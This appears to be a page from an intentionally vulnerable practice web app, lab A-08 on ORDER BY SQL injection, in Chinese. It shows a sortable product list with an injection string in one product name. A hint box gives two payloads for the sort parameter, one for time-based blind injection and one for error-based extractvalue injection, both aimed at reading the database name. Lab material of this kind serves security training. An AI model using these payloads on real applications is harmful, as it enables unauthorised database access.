A-08 ORDER BY 注入
故意设计的安全漏洞📦 商品列表（可排序）
商品列表 (7 条，排序: id ASC):
ID 名称 分类 价格 库存
-----------------------------------------------------------------
1 iPhone 15 Pro 手机 7999.00 100
2 MacBook Pro M3 电脑 14999.00 50
3 AirPods Pro 2 配件 1899.00 200
4 Samsung Galaxy S24 手机 5999.00 80
5 ThinkPad X1 Carbon 电脑 9999.00 30
6 Sony WH-1000XM5 配件 2499.00 150
7 测试产品'OR 1=1-- 测试 0.01 0
💡 ORDER BY 注入提示
时间盲注: ?sort=IF(SUBSTR(database(),1,1)='v',price,(SELECT 0 UNION SELECT 1))
报错注入: ?sort=extractvalue(1,concat(0x7e,(select database())))